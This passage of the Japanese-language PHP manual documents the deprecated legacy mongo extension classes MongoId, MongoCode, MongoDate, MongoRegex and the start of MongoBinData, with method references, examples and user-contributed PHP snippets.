mongo.native_long = 1

see:
http://jira.mongodb.org/browse/PHP-138
and
http://derickrethans.nl/64bit-ints-in-mongodb.html


The MongoId class

(PECL mongo >=0.8.0)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替として、以下が使えます。

  • MongoDB\BSON\ObjectId

はじめに

A unique identifier created for database objects. If an object is inserted into the database without an _id field, an _id field will be added to it with a MongoId instance as its value. If the data has a naturally occuring unique field (e.g. username or timestamp) it is fine to use this as the _id field instead, and it will not be replaced with a MongoId.

Instances of the MongoId class fulfill the role that autoincrementing does in a relational database: to provide a unique key if the data does not naturally have one. Autoincrementing does not work well with a sharded database, as it is difficult to determine the next number in the sequence. This class fulfills the constraints of quickly generating a value that is unique across shards.

Each MongoId is 12 bytes (making its string form 24 hexadecimal characters). The first four bytes are a timestamp, the next three are a hash of the client machine's hostname, the next two are the two least significant bytes of the process id running the script, and the last three bytes are an incrementing value.

MongoIds are serializable/unserializable. Their serialized form is similar to their string form:

C:7:"MongoId":24:{4af9f23d8ead0e1d32000000}

クラス概要

MongoId {
public string $$id = null ;
/* メソッド */
public __construct ( string|MongoId $id = null )
public static getHostname ( ) : string
public getInc ( ) : int
public getPID ( ) : int
public getTimestamp ( ) : int
public static isValid ( mixed $value ) : bool
public static __set_state ( array $props ) : MongoId
public __toString ( ) : string
}

Fields

$id
This field contains the string representation of this object.

注意: The property name begins with a $ character. It may be accessed using complex variable parsed syntax (e.g. $mongoId->{'$id'}).

参考

MongoDB core docs on » ObjectIds.

目次

  • MongoId::__construct — Creates a new id
  • MongoId::getHostname — このマシンの id に使うホスト名を取得する
  • MongoId::getInc — この id を作るためにインクリメントされた値を取得する
  • MongoId::getPID — プロセス ID を取得する
  • MongoId::getTimestamp — この id が作られたときのエポックからの経過秒数を取得する
  • MongoId::isValid — Check if a value is a valid ObjectId
  • MongoId::__set_state — ダミー MongoId を作成する
  • MongoId::__toString — Returns a hexidecimal representation of this id

User Contributed Notes

lensvil dot co at gmail dot com 20-May-2016 08:10
Get ObjectId MongoDB via PHP

var_dump($object);

object(MongoDB\Model\BSONDocument)#36 (1) {
  ["storage":"ArrayObject":private]=>
  array(8) {
    ["_id"]=>
    object(MongoDB\BSON\ObjectID)#33 (1) {
      ["oid"]=>
      string(24) "573e69e78fccd968aa066611"
    }
    ["dummy"]=>
    string(5) "mongo"
  }
}

Failure
var_dump($object->_id->oid);
>>> null

var_dump($object->_id->{'oid'});
>>> null

var_dump($object->_id->{'$oid'});
>>> null

Success
$bson = \MongoDB\BSON\fromPHP($object);
$json = \MongoDB\BSON\toJSON($bson);
$result = json_decode($json, true);

var_dump($result['_id']['$oid']);
>>> string(24) "573e69e78fccd968aa066611"
exit;
Lionel 08-Jul-2013 01:51
Just to be careful with the strict comparison. Object inequalities holds.

<?php

$m1 = new MongoId('51b14c2de8e185801f000006');
$m2 = new MongoId('51b14c2de8e185801f000006');

var_dump($m1 === $m2); //gives you boolean false
var_dump($m1 == $m2); //gives you boolean true

$m3 = new MongoId('51b14c2de8e185801f000006');
$m4 = new MongoId('51b14c2de8e185801f000007');

var_dump($m3 === $m4); //gives you boolean false
var_dump($m3 == $m4); //gives you boolean false

?>
georgedot dont spam me gmail caom 03-Jul-2013 07:29
Due to Recent changes.

* [PHP-554] - MongoId should not get constructed when passing in an invalid ID.

Constructor will throw an exception when passing invalid ID.

<?php

$_id = new MongoId(); //Generates new ID
$_id = new MongoId(null); //Generates new ID

$_id = new MongoId("invalid id"); //throws MongoException

?>

<?php
//Revert to old behaviour
$_id = "invalid id";
try {
    $_id = new MongoId($_id);
} catch (MongoException $ex) {
    $_id = new MongoId();
}
?>

<?php
//Nifty hack
class SafeMongoId extends MongoId {

    public function __construct($id=null) {

        try {
            parent::__construct($id);
        } catch (MongoException $ex) {
            parent::__construct(null);
        }

    }
}
?>
Ryan S 05-Dec-2012 05:46
it is important to note that

<?php
    array("_id" => new MongoId("50cf7d2841d41f4f35000000"))
//                   ≠
    array("_id" => array("$id" => "50cf7d2841d41f4f35000000"))
?>

This issue can arrise when using json_encode() and json_decode(). If not paying close enough attention one can assume due to the encoded value of the object that it is just this simple:

<?php
    $item = $db->myCollection->findOne();
    print json_encode($item);
    // {"_id": {"$id": "50cf7d2841d41f4f35000000"}}
    $item = $db->myCollection->findOne(json_encode($item));
    // $item is empty aka not found
?>

Simple solution to handle these situations:

<?php
    class MongoId2 extends MongoId {
        public function __construct($id = null) {
            if(is_array($id)) {
                $id = (object) $id;
            }

            if(is_object($id) && isset($id->{'$id'})) {
                $id = $id->{'$id'};
            }

            return parent::__construct($id);
        }
    }
?>
rmarscher 12-Oct-2012 03:11
You can also cast the id to a string rather than access the $id property to get a string representation of the MongoId.

<?php
$stringId = (string) $mongoId;
?>
alex dot turpin at gmail dot com 11-Jul-2011 09:15
If you need to get the actual ID string, and you try the usual way, PHP will whine because it starts with a dollar sign and it thinks it's a variable. Instead, use this notation:

<?php
    $mongoid->{'$id'} //Get the $id property of a MongoId object
?>
sararschreiber at gmail dot com 12-Oct-2010 12:23
this is useful for querying for an object by id, given the id's hex:

<?php
$userid = '4cb4ab6d7addf98506010000';

$theObjId = new MongoId($userid);

$connection = new Mongo();
$db = $connection->thedb->users;

// this will return our matching entry.
$item = $db->findOne(array("_id" => $theObjId));

$connection->close();

?>


Creates a new id

  • ≪ MongoId
  • MongoId::getHostname ≫
  • PHP Manual
  • MongoId
  • Creates a new id

MongoId::__construct

(PECL mongo >= 0.8.0)

MongoId::__construct — Creates a new id

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\ObjectId::__construct()

説明

public MongoId::__construct ( string|MongoId $id = null )

パラメータ

id

A string (must be 24 hexadecimal characters) or a MongoId instance.

返り値

Returns a new id.

変更履歴

バージョン | 説明
PECL mongo 1.4.0 | An exception is thrown when passed invalid string

例

例1 MongoId::__construct() example

This example shows how to create a new id. This is seldom necessary, as the driver adds an id to arrays automatically before storing them in the database.

<?php

  $id1 = new MongoId();
  echo "$id1\n";

  $id2 = new MongoId();
  echo "$id2\n";

  ?>

上の例の出力は、 たとえば以下のようになります。

49a7011a05c677b9a916612a
49a702d5450046d3d515d10d

例2 Parameter example

This example shows how to use a string parameter to initialize a MongoId with a given value.

<?php
  $id1 = new MongoId();

  // create a new id from $id1
  $id2 = new MongoId("$id1");

  // show that $id1 and $id2 have the same hexidecimal value
  var_dump($id1 == $id2);
  ?>

上の例の出力は、 たとえば以下のようになります。

bool(true)

参考

  • MongoId::__toString() - Returns a hexidecimal representation of this id
  • MongoId::isvalid() - Check if a value is a valid ObjectId

User Contributed Notes

georgedot nospam gmail guess what com 14-Jun-2013 09:51
Due to Recent changes.

* [PHP-554] - MongoId should not get constructed when passing in an invalid ID.

Constructor will throw an exception when passing invalid ID.

<?php

$_id = new MongoId(); //Generates new ID
$_id = new MongoId(null); //Generates new ID

$_id = new MongoId("invalid id"); //throws MongoException

?>

<?php
//Revert to old behaviour
$_id = "invalid id";
try {
    $_id = new MongoId($_id);
} catch (MongoException $ex) {
    $_id = new MongoId();
}
?>

<?php
//Nifty hack
class SafeMongoId extends MongoId {

    public function __construct($id=null) {

        try {
            parent::__construct($id);
        } catch (MongoException $ex) {
            parent::__construct(null);
        }

    }
}
?>


このマシンの id に使うホスト名を取得する

  • ≪ MongoId::__construct
  • MongoId::getInc ≫
  • PHP Manual
  • MongoId
  • このマシンの id に使うホスト名を取得する

MongoId::getHostname

(PECL mongo >= 1.0.8)

MongoId::getHostname — このマシンの id に使うホスト名を取得する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public static MongoId::getHostname ( ) : string

MongoId が一意な id を作るために使うホスト名を返します。 これは gethostname() の返り値と同じものとなります。

これは、次の関数と同じ意味です。

<?php

public static function getHostname() {
    return gethostname();
}

?>

パラメータ

この関数にはパラメータはありません。

返り値

ホスト名を返します。

User Contributed Notes

There are no user contributed notes for this page.


この id を作るためにインクリメントされた値を取得する

  • ≪ MongoId::getHostname
  • MongoId::getPID ≫
  • PHP Manual
  • MongoId
  • この id を作るためにインクリメントされた値を取得する

MongoId::getInc

(PECL mongo >= 1.0.11)

MongoId::getInc — この id を作るためにインクリメントされた値を取得する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public MongoId::getInc ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

この MongoId を作るためにインクリメントされた値を返します。

User Contributed Notes

There are no user contributed notes for this page.


プロセス ID を取得する

  • ≪ MongoId::getInc
  • MongoId::getTimestamp ≫
  • PHP Manual
  • MongoId
  • プロセス ID を取得する

MongoId::getPID

(PECL mongo >= 1.0.11)

MongoId::getPID — プロセス ID を取得する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public MongoId::getPID ( ) : int

Mongo ID から pid を取り出します。

パラメータ

この関数にはパラメータはありません。

返り値

MongoId の PID を返します。

User Contributed Notes

There are no user contributed notes for this page.


この id が作られたときのエポックからの経過秒数を取得する

  • ≪ MongoId::getPID
  • MongoId::isValid ≫
  • PHP Manual
  • MongoId
  • この id が作られたときのエポックからの経過秒数を取得する

MongoId::getTimestamp

(PECL mongo >= 1.0.1)

MongoId::getTimestamp — この id が作られたときのエポックからの経過秒数を取得する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public MongoId::getTimestamp ( ) : int

これは、id が作られたときに time() を実行した結果と同じものを返します。

パラメータ

この関数にはパラメータはありません。

返り値

この id が作られたときのエポックからの経過秒数を返します。 タイムスタンプの格納領域は 4 バイトしかないので、実際の時刻や幅広い時間を格納するには MongoDate のほうが適しています。

User Contributed Notes

Anonymous 14-Apr-2017 09:53
see http://php.net/manual/en/mongodb-bson-objectid.gettimestamp.php
le6o 14-Jul-2016 02:37
There is no equivalent for this method in the new extension, so instead use...

<?php
$id = new \MongoDB\BSON\ObjectID('42cf58a2e1c5ede216cb7f05');
$timestamp = hexdec(substr($id, 0, 8));
?>


Check if a value is a valid ObjectId

  • ≪ MongoId::getTimestamp
  • MongoId::__set_state ≫
  • PHP Manual
  • MongoId
  • Check if a value is a valid ObjectId

MongoId::isValid

(PECL mongo >= 1.5.0)

MongoId::isValid — Check if a value is a valid ObjectId

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public static MongoId::isValid ( mixed $value ) : bool

This method may be used to check a variable before passing it as an argument to MongoId::__construct().

パラメータ

value

The value to check for validity.

返り値

Returns true if value is a MongoId instance or a string consisting of exactly 24 hexadecimal characters; otherwise, false is returned.

User Contributed Notes

le6o 14-Jul-2016 02:57
There is no equivalent for this method in the new extension, so instead use...

<?php
if ($id instanceof \MongoDB\BSON\ObjectID
    || preg_match('/^[a-f\d]{24}$/i', $id)
) {
  ...
}
?>


ダミー MongoId を作成する

  • ≪ MongoId::isValid
  • MongoId::__toString ≫
  • PHP Manual
  • MongoId
  • ダミー MongoId を作成する

MongoId::__set_state

(PECL mongo >= 1.0.8)

MongoId::__set_state — ダミー MongoId を作成する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public static MongoId::__set_state ( array $props ) : MongoId

この関数は PHP が内部的に使うためだけのもので、 ユーザーがコールする必要はありません。

これは、次の関数と同じ意味です。

<?php

public static function __set_state($props) {
    return new MongoId("000000000000000000000000");
}

?>

パラメータ

props

理論上は、新しい id を作るときに使うプロパティの配列です。 しかし、MongoId のインスタンスにはプロパティがないので、これは使いません。

返り値

値 "000000000000000000000000" を持つ新しい id を返します。

User Contributed Notes

There are no user contributed notes for this page.


Returns a hexidecimal representation of this id

  • ≪ MongoId::__set_state
  • MongoCode ≫
  • PHP Manual
  • MongoId
  • Returns a hexidecimal representation of this id

MongoId::__toString

(PECL mongo >= 0.8.0)

MongoId::__toString — Returns a hexidecimal representation of this id

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\ObjectId::__toString()

説明

public MongoId::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

This id.

例

例1 MongoId::__toString() example

<?php

$m = new MongoClient();
$collection = $m->selectDB("foo")->selectCollection("bar");

$collection->insert(array( "x" => "y" ));
$collection->insert(array( "x" => "y" ));

$cursor = $collection->find();
$r1 = $cursor->next();
$r2 = $cursor->next();

echo $r1["_id"] . "\n";
echo $r2["_id"] . "\n";

?>

上の例の出力は、 たとえば以下のようになります。

49a7011a05c677b9a916612a
49a702d5450046d3d515d10d

User Contributed Notes

There are no user contributed notes for this page.


MongoCode クラス

(PECL mongo >=0.8.3)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替として、以下が使えます。

  • MongoDB\BSON\JavaScript

はじめに

データベース用の JavaScript コードを表します。

MongoCode オブジェクトはふたつの部分からなります。 コード文字列、そしてオプションのスコープです。 コード文字列は JavaScript として正しい形式でなければなりません。 スコープは、変数名とその値のペアからなる連想配列です。

クラス概要

MongoCode {
/* メソッド */
public __construct ( string $code , array $scope = array() )
public __toString ( ) : string
}

目次

  • MongoCode::__construct — 新しいコードオブジェクトを作成する
  • MongoCode::__toString — このコードを文字列で返す

User Contributed Notes

There are no user contributed notes for this page.


新しいコードオブジェクトを作成する

  • ≪ MongoCode
  • MongoCode::__toString ≫
  • PHP Manual
  • MongoCode
  • 新しいコードオブジェクトを作成する

MongoCode::__construct

(PECL mongo >= 0.8.3)

MongoCode::__construct — 新しいコードオブジェクトを作成する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\JavaScript::__construct()

説明

public MongoCode::__construct ( string $code , array $scope = array() )

パラメータ

code

コード文字列。

scope

このコードで使用するスコープ。

返り値

新しいコードオブジェクトを返します。

例

例1 MongoCode::__construct() の例

<?php

$code = new MongoCode('function() { '.
    'for(i=0;i<10;i++) {'.
        'db.foo.update({z : i}, {z : x});'.
    '}'.
    'return x-1;'.
 '}', array("x" => 4));
var_dump($code);

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoCode)#1 (2) {
  ["scope"]=>
  array(1) {
    ["x"]=>
    int(4)
  }
  ["code"]=>
  string(80) "function() { for(i=0;i<10;i++) { db.foo.update({z : i}, {z : x}); } return x-1; }"
}

例2 MongoCode での $where の使用例

この例では、コレクションに対して 'x' フィールドが $y 未満である要素を問い合わせます。 PHP オブジェクトを JavaScript のスコープに渡すことができること、 そして JavaScript の関数は boolean 値を返すことに注意しましょう。

<?php

$cursor = $collection->find(array('$where' => new MongoCode('function() { return this.x < y; }', array('y'=>$y))));

?>

User Contributed Notes

There are no user contributed notes for this page.


このコードを文字列で返す

  • ≪ MongoCode::__construct
  • MongoDate ≫
  • PHP Manual
  • MongoCode
  • このコードを文字列で返す

MongoCode::__toString

(PECL mongo >= 0.8.3)

MongoCode::__toString — このコードを文字列で返す

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public MongoCode::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

このコードを返します。スコープは返しません。

例

例1 MongoCode::__toString() の例

<?php

$code = new MongoCode('return x;', array("x"=>"hi"));
echo "$code\n";

$code = new MongoCode('function() { for(i=0;i<10;i++) { db.foo.update({x:i}, {x:i+1}); } }');
echo "$code\n";

?>

上の例の出力は、 たとえば以下のようになります。

return x;
function() { for(i=0;i<10;i++) { db.foo.update({x:i}, {x:i+1}); } }

User Contributed Notes

There are no user contributed notes for this page.


MongoDate クラス

(PECL mongo >=0.8.1)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替として、以下が使えます。

  • MongoDB\BSON\UTCDateTime

はじめに

データベースの日付オブジェクトを表します。日付をデータベースに保存したり、 日付を問い合わせたりするときにはこのクラスを使わなければなりません。 次のように使います。

例1 MongoDate による日付の保存

<?php

// 日付をデータベースに保存します
$collection->save(array("ts" => new MongoDate()));

$start = new MongoDate(strtotime("2010-01-15 00:00:00"));
$end = new MongoDate(strtotime("2010-01-30 00:00:00"));

// 2010/1/15 から 2010/1/30 までの日付を検索します
$collection->find(array("ts" => array('$gt' => $start, '$lte' => $end)));

?>

MongoDB は、日付データをエポックからの経過ミリ秒数で格納します。 つまり、日付にはタイムゾーンの情報が 含まれないということです。 タイムゾーンが必要なら、別のフィールドを用意する必要があります。 また、データベースとの間でドキュメントをやりとりすると、 ミリ秒より細かい単位の情報は失われてしまいます。

クラス概要

MongoDate {
/* フィールド */
public int $sec ;
public int $usec ;
/* メソッド */
public __construct ( int $sec = time() , int $usec = 0 )
public toDateTime ( ) : DateTime
public __toString ( ) : string
}

目次

  • MongoDate::__construct — Creates a new date
  • MongoDate::toDateTime — Returns a DateTime object representing this date
  • MongoDate::__toString — Returns a string representation of this date

User Contributed Notes

mike at brenden dot com 12-Dec-2017 07:08
MichaelBrenden --

How do the two Mongo drivers determine if they can translate something into the ISODate format?

Does mongo.so require a class type of MongoDate, or does it determine by data returned by __toString() (i.e., "0.12345678 1234567890")?

Does mongodb.so require a class type of \MongoDB\BSON\UTCDateTime, or does it determine by data returned by __toString() (i.e., "1234567890123")?

jmikola

>> the ISODate format?

For the record, ISODate is just a helper function in the mongo shell. The actual BSON type is 0x09 in the BSON spec and is best referred to as "UTC date time".
[url]https://docs.mongodb.com/manual/core/shell-types/#return-date[/url]
[url]http://bsonspec.org/spec.html[/url]

 >> Does mongodb.so require a class type of \MongoDB\BSON\UTCDateTime, or does it determine by data returned by __toString() (i.e., "1234567890123")?

The driver requires a MongoDB\BSON\UTCDateTime object in order to encode a BSON date type. The relevant instanceof check during BSON encoding is here if you care to see it. The __toString() function exists purely as a convenience for userland applications. The driver does not use it outside of tests.
[url]https://github.com/mongodb/mongo-php-driver/blob/1.3.4/src/bson-encode.c#L215[/url]

The legacy mongo.so driver is similar in that it requires a MongoDate object in order to encode a BSON date type (relevant code is here).
[url]https://github.com/mongodb/mongo-php-driver-legacy/blob/1.6.16/bson.c#L273[/url]
Philipp 29-Nov-2016 11:15
This extension is deprecated, but some people still have to use it.

Please, note that properties (sec, usec) are read-only.

You have to do something like this:

<?php

$d = new \MongoDate();

echo "\n" . $d->toDateTime()->format(\DateTime::ISO8601);

// move to future for 125 seconds
$d = new \MongoDate($d->sec + 125, $d->usec);

echo "\n" . $d->toDateTime()->format(\DateTime::ISO8601);

?>
richard at securebucket dot com 17-Feb-2012 03:32
I wanted a way to check the age of a record.  This code will calculate the time between the creation date of the record, and return the seconds.  I use it for caching pages similar to the max-age header in a browser.  If the record is older, than my limit it deletes itself.

<?php
function microtime_diff( $start, $end=NULL ) {
        if( !$end ) {
            $end= microtime();
        }
        list($start_usec, $start_sec) = explode(" ", $start);
        list($end_usec, $end_sec) = explode(" ", $end);
        $diff_sec= intval($end_sec) - intval($start_sec);
        $diff_usec= floatval($end_usec) - floatval($start_usec);
        return floatval( $diff_sec ) + $diff_usec;
}

microtime_diff($cache['stamp']->sec);
?>
jhonnydcano at yahoo dot com 15-Mar-2010 11:43
For showing a human readable MongoDate, you can use something like this:

<?php
date('Y-M-d h:i:s', $yourDate->sec);
?>


Creates a new date

  • ≪ MongoDate
  • MongoDate::toDateTime ≫
  • PHP Manual
  • MongoDate
  • Creates a new date

MongoDate::__construct

(PECL mongo >= 0.8.1)

MongoDate::__construct — Creates a new date

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\UTCDateTime::__construct()

説明

public MongoDate::__construct ( int $sec = time() , int $usec = 0 )

Creates a new date. If no parameters are given, the current time is used.

パラメータ

sec

Number of seconds since the epoch (i.e. 1 Jan 1970 00:00:00.000 UTC).

usec

Microseconds. Please be aware though that MongoDB's resolution is milliseconds and not microseconds, which means this value will be truncated to millisecond resolution.

返り値

Returns this new date.

例

例1 MongoDate::__construct() example

This example demonstrates creating a new date with the current time and a new date with a given time.

<?php

$d = new MongoDate();
echo "$d\n";
$d = new MongoDate(1234567890);
echo "$d\n";
$d = new MongoDate(strtotime("2009-05-01 00:00:01"));
echo "$d\n";

?>

上の例の出力は、 たとえば以下のようになります。

0.23660600 1235685067
0.00000000 1234567890
0.00000000 1241150401

参考

  • MongoDate::__toString() - Returns a string representation of this date

User Contributed Notes

gb at tekkie dot ro 22-Sep-2013 03:12
Please note that the second parameter should be a microseconds value, not a miliseconds one, as stated in the documentation.

I am using the code below to show you what I mean:
<?php
    $example = new \DateTime('2013-09-22T10:41:44.451999');
    $seconds = $example->getTimestamp();

    // this is what documentation misleads you to think is needed
    $miliseconds = floor($example->format('u') / 1000);

    // this is what you should really use
    $microseconds = $example->format('u');
    $fullToString = $example->format('Y-m-d\TH:i:s.uP');

    $collection->insert(array(
        'timeMicroseconds' => new \MongoDate($seconds, $microseconds),
        'toString' => $fullToString,
    ));
    $collection->insert(array(
        'timeMiliseconds' => new \MongoDate($seconds, $miliseconds),
        'toString' => $fullToString,
    ));
?>

Let's take a look in the database to see what is really stored:
{
    "_id" : ObjectId("523f07cfc2b581eb7f069b1d"),
    "timeMicroseconds" : ISODate("2013-09-22T07:41:44.451Z"),
    "toString" : "2013-09-22T10:41:44.451999+03:00"
}

{
    "_id" : ObjectId("523f07cfc2b581eb7f069b1e"),
    "timeMiliseconds" : ISODate("2013-09-22T07:41:44.000Z"),
    "toString" : "2013-09-22T10:41:44.451999+03:00"
}


Returns a DateTime object representing this date

  • ≪ MongoDate::__construct
  • MongoDate::__toString ≫
  • PHP Manual
  • MongoDate
  • Returns a DateTime object representing this date

MongoDate::toDateTime

(PECL mongo >= 1.6.0)

MongoDate::toDateTime — Returns a DateTime object representing this date

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\UTCDateTime::toDateTime()

説明

public MongoDate::toDateTime ( ) : DateTime

Returns the DateTime representation of this date. The returned DateTime will use the UTC time zone.

パラメータ

この関数にはパラメータはありません。

返り値

This date as a DateTime object.

例

例1 MongoDate::toDateTime() example

This example demonstrates creating a DateTime object from a MongoDate object.

<?php
$d = new MongoDate(strtotime("2014-11-18 11:01:25"));
var_dump( $d->toDateTime() );
?>

上の例の出力は、 たとえば以下のようになります。

class DateTime#2 (3) {
  public $date =>
  string(26) "2014-11-18 11:01:25.000000"
  public $timezone_type =>
  int(1)
  public $timezone =>
  string(6) "+00:00"
}

User Contributed Notes

There are no user contributed notes for this page.


Returns a string representation of this date

  • ≪ MongoDate::toDateTime
  • MongoRegex ≫
  • PHP Manual
  • MongoDate
  • Returns a string representation of this date

MongoDate::__toString

(PECL mongo >= 0.8.1)

MongoDate::__toString — Returns a string representation of this date

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\UTCDateTime::__toString()

説明

public MongoDate::__toString ( ) : string

Returns a string representation of this date, similar to the representation returned by microtime().

パラメータ

この関数にはパラメータはありません。

返り値

This date.

User Contributed Notes

There are no user contributed notes for this page.


MongoRegex クラス

(PECL mongo >=0.8.1)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替として、以下が使えます。

  • MongoDB\BSON\Regex

はじめに

このクラスを使うと正規表現を作ることができます。 典型的な使い道は、データベースへの問い合わせでマッチする文字列を検索することです。 それ以外に、正規表現をデータベースに格納したりデータベースから取得したりすることもできます。

正規表現は、四つの部分で構成されています。最初は区切り文字の /、 そしてその後にパターンが続き、さらにもう一度区切り文字の /、 そして最後がフラグを表す文字です。

例1 正規表現のパターン

/pattern/flags

Mongo は 6 つの正規表現フラグに対応しています。

  • i: 大文字小文字を区別しない

  • m: 複数行

  • x: コメントを含めることができる

  • l: ロケール

  • s: "." が、改行を含むすべてにマッチする

  • u: unicode にマッチする

クラス概要

MongoRegex {
/* フィールド */
public string $regex ;
public string $flags ;
/* メソッド */
public __construct ( string $regex )
public __toString ( ) : string
}

目次

  • MongoRegex::__construct — 新しい正規表現を作成する
  • MongoRegex::__toString — この正規表現の文字列表現

User Contributed Notes

thusitha555 at gmail dot com 27-Oct-2014 06:36
here is an example for case insensitive search.If there are two fields (user_name/company_name) in collection;
<?php
$search_string='baR';
$searchQuery = array(
            '$or' => array(
                array(
                    'user_name' => new MongoRegex("/^$search_string/i"),
                    ),
                array(
                    'company_name' => new MongoRegex("/^$search_string/i"),
                    ),
                )
            );

$cursor = $customers->find($searchQuery);
?>
vinicius at codemakers dot com dot br 24-Dec-2013 03:17
/*
 Use the "i" option to make searches with Case Insensitive
 Find results beginning with $q
 */

$search = "V";

// Case Sensitive

$where = array('name' => array('$regex' => new MongoRegex("/^$search/")));
$cursor = $collection->find($where);

//Case Insensitive

$where = array('name' => array('$regex' => new MongoRegex("/^$search/i")));
$cursor = $collection->find($where);
benyounes dot ousama at gmail dot com 19-Nov-2010 09:49
First you must declare and define your regexObj
Here I am looking for all entry of my database wich is like "%Nicolas%" and the /i param is used for Insensitive Case
 $regexObj = new MongoRegex("/^Nicolas/i");

<?php
// I attach the regexObj to my Where Condition
 $where = array("ctname" => $regexObj);

// Execute the request
 $resultset = $this->db->Infos->find($where);

// Parsing the results
 while ($resultset->hasNext())
 {
         $clientObj = $resultset->getNext();
          echo "Client Name: ".$clientObj["cname"]."</br>";
 }
?>


新しい正規表現を作成する

  • ≪ MongoRegex
  • MongoRegex::__toString ≫
  • PHP Manual
  • MongoRegex
  • 新しい正規表現を作成する

MongoRegex::__construct

(PECL mongo >= 0.8.1)

MongoRegex::__construct — 新しい正規表現を作成する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\Regex::__construct()

説明

public MongoRegex::__construct ( string $regex )

新しい正規表現を作成します。

パラメータ

regex

正規表現 (/expr/flags 形式の文字列)。

返り値

新しい正規表現を返します。

例

例1 MongoRegex::__construct() の例

この例は、正規表現を使用してすべてのドキュメントに問い合わせ、 username フィールドの先頭 (^) が l で、その後に母音 ([aeiouy]) が大文字小文字を区別せずに (/i) 続くドキュメントを取得します。

<?php
$luke_search = new MongoRegex("/^l[aeiouy]/i");
$cursor = $collection->find(array("username" => $luke_search));
?>

参考

  • MongoRegex::__toString() - この正規表現の文字列表現

User Contributed Notes

calimero at creatixnet dot com 16-May-2012 09:44
AFAICT, as of PHP 5.3.6, this function doesn't work correctly with any delimiter character other than plain slash (/), which is annoying if your pattern looks like a URL or file path for example (which itself may contain slashes you'll have to escape).

One can make use of the print_r($your_mongoregex_object) statement to ensure the pattern is recognized properly.


この正規表現の文字列表現

  • ≪ MongoRegex::__construct
  • MongoBinData ≫
  • PHP Manual
  • MongoRegex
  • この正規表現の文字列表現

MongoRegex::__toString

(PECL mongo >= 0.8.1)

MongoRegex::__toString — この正規表現の文字列表現

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\Regex::__toString()

説明

public MongoRegex::__toString ( ) : string

この正規表現の文字列表現を返します。

パラメータ

この関数にはパラメータはありません。

返り値

正規表現を "/expr/flags" 形式で返します。

例

例1 MongoRegex::__toString() の例

<?php

$r = new MongoRegex( "/[a-fA-F0-9]{16}/g" );
echo $r->regex . "\n";
echo $r->flags . "\n";
echo "$r\n";

?>

上の例の出力は、 たとえば以下のようになります。

[a-fA-F0-9]{16}
g
/[a-fA-F0-9]{16}/g

User Contributed Notes

There are no user contributed notes for this page.


MongoBinData クラス

(PECL mongo >= 0.8.1)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替として、以下が使えます。

  • MongoDB\BSON\Binary

はじめに

データベースからのバイナリデータを保存したり取得したりする際に使用するオブジェクトです。

データベースに挿入できるひとつのオブジェクトの最大サイズは 16MB です。 それよりも大きいデータ (動画や音楽、キッシンジャーの自伝など) の場合は MongoGridFS を使います。16MB より小さなデータの場合は、 MongoBinData を使ってドキュメントに埋め込むほうが簡単でしょう。

たとえば画像をドキュメントに埋め込むには、このようにします。

<?php

$profile = array(
    "username" => "foobity",
    "pic" => new MongoBinData(file_get_contents("gravatar.jpg"), MongoBinData::GENERIC),
);

$users->save($profile);

?>

このクラスには type フィールドがありますが、 現時点ではこのフィールドはドライバやデータベースに対して何の効果も及ぼしません。 7 種類の型が定義済み (以下のクラス定数を参照ください) です。 過去のバージョンとの互換性のため、デフォルトは MongoBinData::BYTE_ARRAY となっていますが、将来のバージョンでは MongoBinData::GENERIC に変わるかもしれません。 MongoBinData::__construct() できちんと型を定義するようにしましょう。

クラス概要

MongoBinData {
/* 定数 */
const int GENERIC = 0 ;
const int FUNC = 1 ;
const int BYTE_ARRAY = 2 ;
const int UUID = 3 ;
